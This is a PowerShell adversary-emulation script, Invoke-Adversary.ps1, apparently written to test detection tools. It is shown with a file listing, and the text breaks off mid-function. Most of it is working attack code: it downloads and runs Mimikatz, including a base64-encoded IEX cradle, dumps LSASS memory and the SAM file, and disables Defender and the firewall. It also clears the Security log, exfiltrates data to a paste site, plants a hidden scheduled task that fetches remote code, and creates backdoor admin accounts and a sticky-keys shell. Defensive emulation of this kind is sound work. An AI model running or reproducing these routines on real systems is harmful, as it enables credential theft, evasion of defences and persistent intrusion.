├── Invoke-Adversary.ps1 ├── LICENSE └── README.md /Invoke-Adversary.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | This sample script is not supported under any standard support program or service. 3 | This sample sample script is provided AS IS without warranty of any kind. 4 | The author further disclaims all implied warranties including, without limitation, any implied warranties of merchantability 5 | or of fitness for a particular purpose. 6 | The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. 7 | In no event shall the author, or anyone else involved in the creation, production, or delivery 8 | of the script be liable for any damages whatsoever (including, without limitation, damages for loss of business profits, 9 | business interruption, loss of business information, or other pecuniary loss) arising out of the use 10 | of or inability to use the sample scripts or documentation, even if the author has been 11 | advised of the possibility of such damages. 12 | #> 13 | <# 14 | .Synopsis 15 | Create interactive menu 16 | .DESCRIPTION 17 | Create interactive menu 18 | .NOTES 19 | Author :: Moti Bani - Moti.ba@hotmail.com 20 | Version 1.0 :: 11-March-2017 :: [Release] :: Publicly available 21 | #> 22 | Function Write-Menu { 23 | [CmdletBinding()] 24 | [Alias()] 25 | [OutputType([int])] 26 | Param 27 | ( 28 | # Param1 help description 29 | [Parameter(Mandatory = $true, 30 | ValueFromPipelineByPropertyName = $true, 31 | Position = 0)] 32 | [string]$Header = '', 33 | 34 | # Param2 help description 35 | [System.ConsoleColor]$HeaderColor = 'Yellow', 36 | 37 | $Items 38 | ) 39 | 40 | Begin { 41 | } 42 | Process { 43 | if ($Header -ne '') { 44 | Write-Host "`n$Header" -ForegroundColor $HeaderColor 45 | $underLine = "-" * $Header.length 46 | Write-Host $underLine 47 | } 48 | 49 | for ($i = 0; $i -lt $Items.Count; $i++) { 50 | $lz = ($i + 1).ToString("000") 51 | Write-Host "[$lz]: $($Items[$i])" 52 | } 53 | 54 | # Wait for user input 55 | do { 56 | $selection = Read-Host "`nPlease make a selection (or 'q' to stop)" 57 | if ($selection -eq 'q') { 58 | Exit 59 | } 60 | else { 61 | if ([int]$selection -le $Items.Length) { 62 | Return $Items[[int]$selection - 1] 63 | } 64 | 65 | } 66 | } while ($true) 67 | } 68 | 69 | End { 70 | } 71 | } 72 | Function Write-LogToConsole([string]$msg) { 73 | $strDate = Get-Date -Format "hh:mm:ss" 74 | Write-Host "[*] [$strDate]`t$msg" -ForegroundColor Yellow 75 | } 76 | Function Write-CmdToConsole([string]$msg) { 77 | $strDate = Get-Date -Format "hh:mm:ss" 78 | Write-Host "[>] [$strDate]`t$msg" -ForegroundColor Green 79 | } 80 | Function Write-ErrToConsole([string]$msg) { 81 | $strDate = Get-Date -Format "hh:mm:ss" 82 | Write-Host "[!] [$strDate]`t$msg" -ForegroundColor Red 83 | } 84 | Function DisplayEULA(){ 85 | 86 | $Eula = " 87 | This sample script is not supported under any standard support program or service. 88 | This sample sample script is provided AS IS without warranty of any kind. 89 | The author further disclaims all implied warranties including, without limitation, any implied warranties of merchantability or of fitness for a particular purpose. 90 | The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. 91 | In no event shall the author, or anyone else involved in the creation, production, or delivery 92 | of the script be liable for any damages whatsoever (including, without limitation, damages for loss of business profits, 93 | business interruption, loss of business information, or other pecuniary loss) arising out of the use 94 | of or inability to use the sample scripts or documentation, even if the author has been 95 | advised of the possibility of such damages. 96 | " 97 | 98 | Write-Host $Eula -ForegroundColor Green -BackgroundColor Black 99 | Write-Host "Please read the legal discalimer carefully and approve that you are acceppting the terms 100 | By using this script Windows system's security and stability (passwords dump,disabling security features, etc.) may be affected so DON'T RUN IT ON PRODUCTION systems 101 | By writing 'Yes' you acknowledge that you are aware of this and take sole responsibility for any personally identifiable or other sensitive information through your use of the script" -ForegroundColor Red -BackgroundColor Black 102 | 103 | 104 | while ($Anwser -ne "Yes"){ $Anwser = Read-Host -Prompt "`nPlease Write Yes to acceppt the terms" } 105 | } 106 | 107 | Function Init() { 108 | Add-Type -AssemblyName System.IO.Compression.FileSystem 109 | 110 | Clear-Host 111 | $Error.Clear() 112 | 113 | If (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole(` 114 | [Security.Principal.WindowsBuiltInRole] "Administrator")) { 115 | Write-Warning "You need to be Administrator to run all test cases" 116 | } 117 | 118 | Write-Host "`tTool :: Invoke-Adversary" -ForegroundColor Magenta 119 | Write-Host "`tAuthor :: Moti Bani" -ForegroundColor Magenta 120 | Write-Host "`tTwitter :: @Moti_Ba" -ForegroundColor Magenta 121 | Write-Host "`tBlog :: http://blogs.technet.com/motiba" -ForegroundColor Magenta 122 | Write-Host "`tVersion :: 1.0" -ForegroundColor Magenta 123 | Write-Host "" 124 | Write-Host "`tWarning :: Don't run this tool on production systems!" -ForegroundColor Magenta 125 | Write-Host "" 126 | Write-Host "`tWindows Name :: $((gwmi win32_operatingsystem).Caption)" -ForegroundColor Magenta 127 | Write-Host "`tWindows Version :: $([environment]::OSVersion.Version)" -ForegroundColor Magenta 128 | Write-Host "`tArchitecture :: $((gwmi win32_operatingsystem).OSArchitecture)" -ForegroundColor Magenta 129 | Write-Host "" 130 | 131 | DisplayEULA 132 | } 133 | Function Main () { 134 | 135 | $Tactics = @("Defense Evasion", "Persistence", "Credential Access", "Discovery", "Command and Control", "Execution", "Collection", "AppLocker ByPasses") 136 | 137 | switch (Write-Menu -Header "Main - Adversary Tactics" -HeaderColor Green -Items $Tactics) { 138 | "Persistence" { Main_Persistence} 139 | "Discovery" { Main_Discovery} 140 | "Credential Access" { Main_Credentials} 141 | "Defense Evasion" { Main_DefenseEvasion} 142 | "Collection" {Main_Collection} 143 | "Command and Control" {Main_C2} 144 | "Execution" {Main_Execution} 145 | "AppLocker ByPasses" {Main_ApplockerBypass} 146 | } 147 | } 148 | #region AppLocker 149 | Function Main_ApplockerBypass() { 150 | $subTactics = @("Regsvr32","Back to Main") 151 | switch (Write-Menu -Header "AppLocker ByPass" -HeaderColor Green -Items $subTactics) { 152 | "Regsvr32" {sub_ApplockerBypass_Regsvr32} 153 | "Back to Main"{Main} 154 | } 155 | Main_ApplockerBypass 156 | } 157 | Function sub_ApplockerBypass_Regsvr32() { 158 | Start-ProcessEx -FileName "Regsvr32.exe" -Arguments "/s /n /u /i:http://example.com/file.sct scrobj.dll" 159 | } 160 | #endregion 161 | #region Command and Control 162 | Function Main_C2() { 163 | $subTactics = @("Commonly Used Ports", "Uncommonly Used Ports", "Web Service", "DNS - Well-Known Blacklisted IP Address", "Connect - Well-Known Blacklisted IP Address","Back to Main") 164 | switch (Write-Menu -Header "Command and Control" -HeaderColor Green -Items $subTactics) { 165 | "Commonly Used Ports" {sub_CommandAndControl_CommonPorts} 166 | "Uncommonly Used Ports" {sub_CommandAndControl_UncommonPorts} 167 | "Web Service" {sub_CommandAndControl_WebServicePasteBin} 168 | "Connect - Well-Known Blacklisted IP Address" {sub_CommandAndControl_BlacklistedIPAddresses} 169 | "DNS - Well-Known Blacklisted IP Address" {sub_CommandAndControl_BlacklistedIPAddressesDNS} 170 | "Back to Main"{Main} 171 | } 172 | Main_C2 173 | } 174 | Function sub_CommandAndControl_BlacklistedIPAddressesDNS() { 175 | $url = "https://www.ip-finder.me/ip-full-list/" 176 | Write-LogToConsole "Fetching 10 Blacklisted IP address from [$($url)]" 177 | $WebRequest = Invoke-WebRequest -Uri $url -Headers @{ "dnt" = "1"; "accept-encoding" = "gzip, deflate, br"; "accept-language" = "en-US,en;q=0.9"; "upgrade-insecure-requests" = "1"; "user-agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36"; "accept" = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8"; "referer" = "https://www.ip-finder.me/178.137.87.242/"; "scheme" = "https"; "method" = "GET"} 178 | $Links = $WebRequest.Links | Select-Object -ExpandProperty innerText -First 10 -Skip 5 179 | 180 | 181 | 182 | foreach ($link in $Links) { 183 | Write-LogToConsole "Resolving Blacklisted IP address: [$($link)]" 184 | Start-ProcessEx -FileName "nslookup.exe" -Arguments "$link" 185 | } 186 | } 187 | Function sub_CommandAndControl_BlacklistedIPAddresses() { 188 | $url = "https://www.ip-finder.me/ip-full-list/" 189 | Write-LogToConsole "Fetching 10 Blacklisted IP address from [$($url)]" 190 | $WebRequest = Invoke-WebRequest -Uri $url -Headers @{ "dnt" = "1"; "accept-encoding" = "gzip, deflate, br"; "accept-language" = "en-US,en;q=0.9"; "upgrade-insecure-requests" = "1"; "user-agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36"; "accept" = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8"; "referer" = "https://www.ip-finder.me/178.137.87.242/"; "scheme" = "https"; "method" = "GET"} 191 | $Links = $WebRequest.Links | Select-Object -ExpandProperty innerText -First 10 -Skip 5 192 | 193 | $ErrorActionPreference = 'SilentlyContinue' 194 | 195 | foreach ($link in $Links) { 196 | Write-LogToConsole "Connecting to Blacklisted IP address: [$($link)]" 197 | Invoke-WebRequest -Uri "http://$link" -Method Get -TimeoutSec 3 198 | } 199 | 200 | $ErrorActionPreference = 'Continue' 201 | 202 | } 203 | Function sub_CommandAndControl_WebServicePasteBin() { 204 | $Content = (get-wmiobject win32_service -filter "name='BITS'") | out-string 205 | 206 | #Create Paste string from input 207 | $string = [System.Web.HttpUtility]::UrlEncode($($Content | Format-Table -AutoSize | Out-String)) 208 | $PSContent = @() 209 | $PSContent += "code=$($string)" 210 | 211 | Invoke-WebRequest -Uri 'http://pastebin.xyz/api/v1/paste.php' -Method Post -Body "code=$($Content)" -OutVariable response | Out-Null 212 | 213 | Write-LogToConsole "$Content copied to Pastbin URL: $($response.Content)" 214 | } 215 | Function sub_CommandAndControl_UncommonPorts() { 216 | $HostName = Read-Host -Prompt "Hostname or IP address of server to connect" 217 | if (-not(Test-Connection -ComputerName $HostName -Count 2 -Quiet)) { 218 | Write-Warning "$HostName is not available" 219 | } 220 | else { 221 | Write-LogToConsole "About to communicate over a uncommonly used ports on $HostName" 222 | $Ports = @(1913, 81, 8081, 8088, 995, 13000) 223 | $ErrorActionPreference = 'SilentlyContinue' 224 | foreach ($Port in $Ports) { 225 | Write-LogToConsole "Probing port: $Port" 226 | $Socket = New-Object System.Net.Sockets.TcpClient($HostName, $Port) 227 | if ($Socket.Connected) { 228 | Write-LogToConsole "Port: [($Port)] is Open" 229 | $Socket.Close() 230 | } 231 | } 232 | $ErrorActionPreference = 'Continue' 233 | } 234 | } 235 | Function sub_CommandAndControl_CommonPorts() { 236 | $HostName = Read-Host -Prompt "Hostname or IP address of server to connect" 237 | if (-not(Test-Connection -ComputerName $HostName -Count 2 -Quiet)) { 238 | Write-Warning "$HostName is not available" 239 | } 240 | else { 241 | Write-LogToConsole "About to communicate over a commonly used ports on $HostName" 242 | $Ports = @(80, 443, 25, 8080, 1433) 243 | $ErrorActionPreference = 'SilentlyContinue' 244 | foreach ($Port in $Ports) { 245 | Write-LogToConsole "Probing port: $Port" 246 | $Socket = New-Object System.Net.Sockets.TcpClient($HostName, $Port) 247 | if ($Socket.Connected) { 248 | Write-LogToConsole "Port: [($Port)] is Open" 249 | $Socket.Close() 250 | } 251 | } 252 | $ErrorActionPreference = 'Continue' 253 | } 254 | } 255 | #endregion 256 | #region Collection 257 | Function Main_Collection() { 258 | $subTactics = @("Screen Capture","Back to Main") 259 | switch (Write-Menu -Header "Collection" -HeaderColor Green -Items $subTactics) { 260 | "Screen Capture" {sub_Collection_ScreenCapture} 261 | "Back to Main"{Main} 262 | } 263 | Main_Collection 264 | } 265 | Function sub_Collection_ScreenCapture() { 266 | $Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen 267 | $Width = $Screen.Width 268 | $Height = $Screen.Height 269 | $Left = $Screen.Left 270 | $Top = $Screen.Top 271 | $FileName = ([System.IO.Path]::GetTempFileName()).replace("tmp", "bmp") 272 | Write-LogToConsole "Capturing a screenshot in $FileName in 10 seconds" 273 | sleep -Seconds 10 274 | 275 | $Objbitmap = New-Object System.Drawing.Bitmap $Width, $Height 276 | $ObjGraphic = [System.Drawing.Graphics]::FromImage($Objbitmap) 277 | $ObjGraphic.CopyFromScreen($Left, $Top, 0, 0, $Objbitmap.Size) 278 | $Objbitmap.Save($FileName) 279 | 280 | Invoke-Item $FileName 281 | 282 | 283 | } 284 | #endregion 285 | #region DefenseEvasion 286 | Function Main_DefenseEvasion() { 287 | $subTactics = @("Disable network interface", "Disable Windows Defender AV", "Add local firewall rule exceptions", "Turn off Windows Firewall", "Clear Security Log","Back to Main") 288 | switch (Write-Menu -Header "Defense Evasion" -HeaderColor Green -Items $subTactics) { 289 | "Disable network interface" {sub_DefenseEvasion_DisableNIC} 290 | "Add local firewall rule exceptions" {sub_DefenseEvasion_AddFirewallRule} 291 | "Disable Windows Defender AV" {sub_DefenseEvasion_DisableWindowsDefenderAV} 292 | "Turn off Windows Firewall" {sub_DefenseEvasion_DisableWindowsFirewall} 293 | "Clear Security Log" {sub_DefenseEvasion_ClearSecurityLog} 294 | "Back to Main"{Main} 295 | 296 | } 297 | Main_DefenseEvasion 298 | } 299 | 300 | Function sub_DefenseEvasion_ClearSecurityLog() { 301 | Start-ProcessEx -FileName "wevtutil.exe" -Arguments "cl Security" 302 | } 303 | Function sub_DefenseEvasion_DisableWindowsFirewall() { 304 | Start-ProcessEx -FileName "netsh.exe" -Arguments "Advfirewall set allprofiles state off" 305 | } 306 | Function sub_DefenseEvasion_AddFirewallRule() { 307 | Start-ProcessEx -FileName "netsh.exe" -Arguments "advfirewall firewall add rule name=`"Invoke-APT Test Rule`" dir=in program=`"c:\Windows\BadApp.exe`" action=allow" 308 | } 309 | Function sub_DefenseEvasion_DisableNIC() { 310 | Disable-NetAdapter "Ethernet" -Confirm:$true 311 | } 312 | Function sub_DefenseEvasion_DisableWindowsDefenderAV() { 313 | Set-MpPreference -DisableRealtimeMonitoring $true -Verbose 314 | Set-MpPreference -DisableIOAVProtection $true -Verbose 315 | Set-MpPreference -DisableBehaviorMonitoring $true -Verbose 316 | Set-MpPreference -DisableIntrusionPreventionSystem $true -Verbose 317 | Set-MpPreference -DisablePrivacyMode $true -Verbose 318 | } 319 | #endregion 320 | #region Credentials 321 | Function Main_Credentials() { 322 | $subTactics = @("Mimikatz - Logonpasswords", "PowerShell Mimikatz", "PowerShell Encoded Mimikatz", "Capture Lsass Memory Dump", "Capture Lsass Memory Dump (Prodump)", "Copy Local SAM File (via Invoke-NinjaCopy)","Back to Main") 323 | switch (Write-Menu -Header "Credential Access Tactics" -HeaderColor Green -Items $subTactics) { 324 | "PowerShell Mimikatz" {sub_Credentials_Mimikatz} 325 | "PowerShell Encoded Mimikatz" {sub_Credentials_EncodedMimikatz} 326 | "Mimikatz - Logonpasswords" {sub_Credentials_MimikatzLogonpasswords} 327 | "Capture Lsass Memory Dump" {sub_Credentials_LsassMemoryDump} 328 | "Capture Lsass Memory Dump (Prodump)" {sub_Credentials_LsassMemoryProcDump} 329 | "Copy Local SAM File (via Invoke-NinjaCopy)" {sub_Credentials_CopySamFile} 330 | "Back to Main"{Main} 331 | } 332 | Main_Credentials 333 | } 334 | 335 | Function sub_Credentials_CopySamFile() { 336 | IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1'); Invoke-NinjaCopy -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam" -verbose 337 | } 338 | Function sub_Credentials_LsassMemoryProcDump() { 339 | 340 | $FileName = [System.IO.Path]::GetTempFileName().replace(".tmp", ".exe") 341 | $DumpFile = [System.IO.Path]::GetTempFileName().replace(".tmp", ".dmp") 342 | $url = "https://live.sysinternals.com/procdump.exe" 343 | 344 | Write-LogToConsole "Downloading procdump into [$FileName]" 345 | $wc = New-Object System.Net.WebClient 346 | $wc.DownloadFile($url, $FileName) 347 | 348 | Unblock-File $FileName 349 | Start-ProcessEx -FileName $FileName -Arguments "-accepteula -accepteula -64 -ma lsass.exe $DumpFile" 350 | 351 | Write-LogToConsole "Deleting procdump [$FileName]" 352 | Remove-Item $FileName -Force 353 | 354 | } 355 | Function sub_Credentials_LsassMemoryDump() { 356 | # Based on code: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1 357 | 358 | $WER = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting') 359 | $WERNativeMethods = $WER.GetNestedType('NativeMethods', 'NonPublic') 360 | $Flags = [Reflection.BindingFlags] 'NonPublic, Static' 361 | $MiniDumpWriteDump = $WERNativeMethods.GetMethod('MiniDumpWriteDump', $Flags) 362 | $MiniDumpWithFullMemory = [UInt32] 2 363 | 364 | $FileName = [System.IO.Path]::GetTempFileName() 365 | $FileStream = New-Object IO.FileStream($FileName, [IO.FileMode]::Create) 366 | $Lsaass = Get-Process lsass 367 | 368 | Write-LogToConsole "$($Lsaass.Modules[0].FileName) current PID [$($Lsaass.Id)]" 369 | $Result = $MiniDumpWriteDump.Invoke($null, @($Lsaass.Handle, 370 | $Lsaass.Id, 371 | $FileStream.SafeFileHandle, 372 | $MiniDumpWithFullMemory, 373 | [IntPtr]::Zero, 374 | [IntPtr]::Zero, 375 | [IntPtr]::Zero)) 376 | 377 | $FileStream.Close() 378 | 379 | if (-not $Result) { 380 | Write-Error "Failed to Capture Lsass Memory Dump" 381 | } 382 | else { 383 | Write-LogToConsole "Memory dump created: [$FileName] Size: $((Get-ChildItem $FileName).Length)" 384 | } 385 | } 386 | Function sub_Credentials_Mimikatz() { 387 | Invoke-Expression (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); $m = Invoke-Mimikatz -DumpCreds; $m 388 | } 389 | Function sub_Credentials_EncodedMimikatz() { 390 | Start-ProcessEx -FileName "PowerShell.exe" -Arguments "-enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA==" 391 | } 392 | Function sub_Credentials_MimikatzLogonpasswords() { 393 | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 394 | $FileName = [System.IO.Path]::GetTempFileName().replace(".tmp", ".zip") 395 | $Folder = [System.IO.Path]::GetDirectoryName($FileName) 396 | $url = "https://github.com/gentilkiwi/mimikatz/releases/download/2.1.1-20180325/mimikatz_trunk.zip" 397 | 398 | Write-LogToConsole "Downloading mimikatz into [$FileName]" 399 | $wc = New-Object System.Net.WebClient 400 | $wc.DownloadFile($url, $FileName) 401 | 402 | Unblock-File $FileName 403 | [System.IO.Compression.ZipFile]::ExtractToDirectory($FileName, $Folder) 404 | if([Environment]::Is64BitOperatingSystem) { 405 | Write-LogToConsole "Windows is 64Bit" 406 | Start-ProcessEx -FileName "$Folder\x64\mimikatz.exe" -Arguments """privilege::debug"" ""sekurlsa::logonpasswords"" ""exit""" 407 | } 408 | else { 409 | Write-LogToConsole "Windows is 32Bit" 410 | Start-ProcessEx -FileName "$Folder\Win32\mimikatz.exe" -Arguments """privilege::debug"" ""sekurlsa::logonpasswords"" ""exit""" 411 | } 412 | 413 | Write-LogToConsole "Clean-up and remove files" 414 | sleep -Milliseconds 500 415 | Remove-Item "$Folder\x64\" -Force -Recurse 416 | Remove-Item "$Folder\Win32\" -Force -Recurse 417 | Remove-Item "$Folder\mimicom.idl" -Force 418 | Remove-Item "$Folder\kiwi_passwords.yar" -Force 419 | Remove-Item "$Folder\README.md" -Force 420 | 421 | 422 | } 423 | #endregion 424 | #region Discovery 425 | Function Main_Discovery() { 426 | $subTactics = @("Account Discovery", "Network Service Scanning", "System Owner Discovery", "System Time Discovery", "Service Discovery", "Network Connections Discovery", "Network Session Enumeration","Back to Main") 427 | switch (Write-Menu -Header "Discovery Tactics" -HeaderColor Green -Items $subTactics) { 428 | "Account Discovery" {sub_Discovery_Accounts} 429 | "Network Service Scanning" {sub_Discovery_NetworkServiceScanning} 430 | "System Owner Discovery" {sub_Discovery_SystemOwner} 431 | "System Time Discovery" {sub_Discovery_SystemTime} 432 | "Service Discovery" {sub_Discovery_SystemServices} 433 | "Network Connections Discovery" {sub_Discovery_SystemNetworkConnections} 434 | "Network Session Enumeration"{sub_Discovery_SystemNetworkSessionEnum} 435 | "Back to Main" {Main} 436 | } 437 | Main_Discovery 438 | } 439 | Function sub_Discovery_SystemNetworkSessionEnum(){ 440 | 441 | } 442 | 443 | Function sub_Discovery_SystemNetworkConnections() { 444 | Start-ProcessEx -FileName "net.exe" -Arguments "use" 445 | Start-ProcessEx -FileName "netstat.exe" -Arguments "-ano" 446 | } 447 | Function sub_Discovery_SystemServices() { 448 | Start-ProcessEx -FileName "net.exe" -Arguments "start" 449 | } 450 | Function sub_Discovery_SystemTime() { 451 | Start-ProcessEx -FileName "net.exe" -Arguments "time" 452 | Start-ProcessEx -FileName "w32tm.exe" -Arguments "/tz" 453 | } 454 | Function sub_Discovery_SystemOwner() { 455 | Start-ProcessEx -FileName "cmd.exe" -Arguments "/C whoami" 456 | } 457 | Function sub_Discovery_NetworkServiceScanning() { 458 | $HostName = Read-Host -Prompt "Hostname or IP address of server" 459 | if (-not(Test-Connection -ComputerName $HostName -Count 2 -Quiet)) { 460 | Write-Warning "$HostName is not available" 461 | } 462 | else { 463 | Write-LogToConsole "About to scan ports 1-1024 on $HostName" 464 | for ($i = 1; $i -lt 1024; $i++) { 465 | $Socket = New-Object System.Net.Sockets.TcpClient($HostName, $Port) 466 | if ($Socket.Connected) { 467 | Write-LogToConsole "Port [$i] is Open" 468 | $Socket.Close() 469 | } 470 | } 471 | } 472 | } 473 | Function sub_Discovery_Accounts() { 474 | Start-ProcessEx -FileName "net.exe" -Arguments "user /domain" 475 | Start-ProcessEx -FileName "net.exe" -Arguments "user" 476 | Start-ProcessEx -FileName "net.exe" -Arguments "group ""domain admins"" /domain" 477 | Start-ProcessEx -FileName "net.exe" -Arguments "group ""Exchange Trusted Subsystem"" /domain" 478 | Start-ProcessEx -FileName "net.exe" -Arguments "group ""enterprise admins"" /domain" 479 | } 480 | #endregion 481 | #region Persistence 482 | Function Main_Persistence() { 483 | $subTactics = @("Accessibility Features", "AppInit DLLs", "Application Shimming", "Create local user", "Create local Administrator", ` 484 | "Create New Service", "Create New Service (Unquoted Path)", "Registry Run Keys [HKLM]", "Registry Run Keys [HKCU]", "Scheduled tasks","Back to Main") 485 | switch (Write-Menu -Header "Persistence Tactics" -HeaderColor Green -Items $subTactics) { 486 | "Accessibility Features" {sub_Persistence_AccessibilityFeatures } 487 | "AppInit DLLs" {sub_Persistence_AppInit} 488 | "Application Shimming" {sub_Persistence_ApplicationShimming} 489 | "Create local user" { sub_Persistence_CreateLocalUser} 490 | "Create local Administrator" {sub_Persistence_CreateLocalAdministrator} 491 | "Registry Run Keys [HKLM]" {sub_Persistence_RegistryRunKeysHKLM; Main_Persistence} 492 | "Registry Run Keys [HKCU]" {sub_Persistence_RegistryRunKeysHKCU; Main_Persistence} 493 | "Scheduled tasks" {sub_Persistence_ScheduledTasks; Main_Persistence} 494 | "Create New Service" {sub_Persistence_NewService} 495 | "Create New Service (Unquoted Path)" {sub_Persistence_NewService -Unquoted} 496 | "Back to Main"{Main} 497 | } 498 | Main_Persistence 499 | } 500 | Function sub_Persistence_NewService([switch]$Unquoted) { 501 | if ($Unquoted) { 502 | New-Service -Name "WindowsHealth" -BinaryPathName "C:\program files\myapp.exe" -DisplayName "Windows Health" -Description "Windows Health Monitor" -StartupType Automatic -Verbose 503 | } 504 | else { 505 | New-Service -Name "WindowsHealth" -BinaryPathName "c:\Windows\Notepad.exe" -DisplayName "Windows Health" -Description "Windows Health Monitor" -StartupType Automatic -Verbose 506 | } 507 | #(get-wmiobject win32_service -filter "name='WindowsHealth'").delete() 508 | } 509 | Function sub_Persistence_ScheduledTasks() { 510 | Start-ProcessEx -FileName "schtasks.exe" -Arguments '/create /tn OfficeUpdaterA /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c ''IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6''''))'" /sc onlogon /ru System'" 511 | } 512 | Function sub_Persistence_RegistryRunKeysHKLM() { 513 | Set-RegistryKey -RegKey "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" ` 514 | -RegValue 'svchost' -RegData '%APPDATA%\Microsoft\Network\svchost.exe' -RegType String 515 | } 516 | Function sub_Persistence_RegistryRunKeysHKCU() { 517 | Set-RegistryKey -RegKey "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" ` 518 | -RegValue 'svchost' -RegData '%APPDATA%\Microsoft\Network\svchost.exe' -RegType String 519 | } 520 | Function sub_Persistence_CreateLocalUser() { 521 | $Username = "support_388945a0" # APT3 522 | $Password = "password" 523 | 524 | $adsi = [ADSI]"WinNT://$env:COMPUTERNAME" 525 | 526 | if ($adsi.Children | where {$_.SchemaClassName -eq 'user' -and $_.Name -eq $Username } -ne $null) { 527 | Write-LogToConsole "Creating new local user $Username." 528 | Start-ProcessEx -FileName "net.exe" -Arguments "USER $Username $Password /add /y /expires:never" 529 | } 530 | else { 531 | Write-LogToConsole "User $Username already exist, try to activate" 532 | Start-ProcessEx -FileName "net.exe" -Arguments "USER $Username /active:yes" 533 | 534 | Write-LogToConsole "Setting password for existing local user $Username" 535 | Start-ProcessEx -FileName "net.exe" -Arguments "USER $Username $Password" 536 | } 537 | } 538 | Function sub_Persistence_CreateLocalAdministrator() { 539 | $Username = "Lost_337fde69_81a9" # S-TYPE 540 | $Password = "pond~!@6_337fde69-81a9-442e-99d4-7cd29ecd06ad" 541 | 542 | $adsi = [ADSI]"WinNT://$env:COMPUTERNAME" 543 | 544 | if (($adsi.Children | where {$_.SchemaClassName -eq 'user' -and $_.Name -eq $Username}) -eq $null) { 545 | Write-LogToConsole "Creating new local Administrator $Username." 546 | Start-ProcessEx -FileName "net.exe" -Arguments "USER $Username $Password /add /active:yes /y" 547 | Start-ProcessEx -FileName "net.exe" -Arguments "LOCALGROUP Administrators $Username /add /y" 548 | Start-ProcessEx -FileName "wmic.exe" -Arguments "USERACCOUNT WHERE Name='$Username' SET PasswordExpires=FALSE" 549 | } 550 | else { 551 | Write-LogToConsole "$Username already exist." 552 | } 553 | } 554 | Function sub_Persistence_AccessibilityFeatures() { 555 | Set-RegistryKey -RegKey "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" ` 556 | -RegValue 'Debugger' -RegData 'C:\Windows\System32\cmd.exe' -RegType String 557 | } 558 | Function sub_Persistence_AppInit() { 559 | Set-RegistryKey -RegKey "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" ` 560 | -RegValue 'AppInit_DLLs' -RegData 'pserver32.dll' -RegType String 561 | } 562 | Function sub_Persistence_ApplicationShimming() { 563 | Set-RegistryKey -RegKey "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{842562ef-8d28-411d-a67d-ab75ef611fe8}.sdb" ` 564 | -RegValue 'UninstallString' -RegData 'C:\WINDOWS\system32\sdbinst.exe -u "C:\WINDOWS\AppPatch\Custom\{842562ef-8d28-411d-a67d-ab75ef611fe8}.sdb"' -RegType String 565 | } 566 | #endregion 567 | #region Execution 568 | Function Main_Execution() { 569 | $subTactics = @("PSExec (random file name)", "PSExec (Remote)", "PowerShell API call", "Self Delete (batch file)","WMI Process Execution","Back to Main") 570 | switch (Write-Menu -Header "Execution Tactics" -HeaderColor Green -Items $subTactics) { 571 | "PSExec (random file name)" {sub_Execution_PSExecRandom} 572 | "PSExec (Remote)" {sub_Execution_PSExecRemote} 573 | "PowerShell API call" {sub_Execution_PSAPICall} 574 | "Self Delete (batch file)" {sub_Execution_SDelete} 575 | "WMI Process Execution"{sub_Execution_WmiProcess} 576 | "Back to Main"{Main} 577 | } 578 | Main_Execution 579 | } 580 | 581 | Function sub_Execution_WmiProcess(){ 582 | $HostName = Read-Host -Prompt "Hostname or IP address of server to connect" 583 | Start-ProcessEx -FileName "wmic.exe" -Arguments "/node:$HostName process call create ""cmd.exe /c whoami""" 584 | } 585 | Function sub_Execution_SDelete() { 586 | $FileName = [System.IO.Path]::GetTempFileName().replace(".tmp", ".cmd") 587 | Set-Content $FileName 'del "%~f0"' -Encoding ASCII 588 | 589 | Start-ProcessEx -FileName "cmd.exe" -Arguments "/c $FileName" 590 | } 591 | Function sub_Execution_PSAPICall() { 592 | Add-Type -TypeDefinition @" 593 | using System; 594 | using System.Diagnostics; 595 | using System.Runtime.InteropServices; 596 | 597 | public static class User32Dll 598 | { 599 | [DllImport("user32.dll", 